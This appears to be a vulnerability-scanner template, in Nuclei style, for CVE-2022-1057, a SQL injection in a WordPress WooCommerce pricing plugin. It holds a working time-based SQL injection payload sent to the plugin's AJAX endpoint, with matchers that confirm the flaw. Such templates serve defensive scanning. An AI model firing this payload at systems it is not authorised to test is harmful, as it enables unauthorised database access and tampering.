39 lines
1.5 KiB
YAML
39 lines
1.5 KiB
YAML
id: CVE-2022-1057
|
|
|
|
info:
|
|
name: WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
WordPress Pricing Deals for WooCommerce plugin through 2.0.2.02 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/7c33ffc3-84d1-4a0f-a837-794cdc3ad243
|
|
- https://wordpress.org/plugins/pricing-deals-for-woocommerce/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1057
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-1057
|
|
cwe-id: CWE-89
|
|
cpe: cpe:2.3:a:varktech:pricing_deals_for_woocommerce:*:*:*:*:*:*:*:*
|
|
epss-score: 0.11201
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,pricing-deals-for-woocommerce,unauth
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'status_code == 500'
|
|
- 'contains(body, "been a critical error")'
|
|
condition: and
|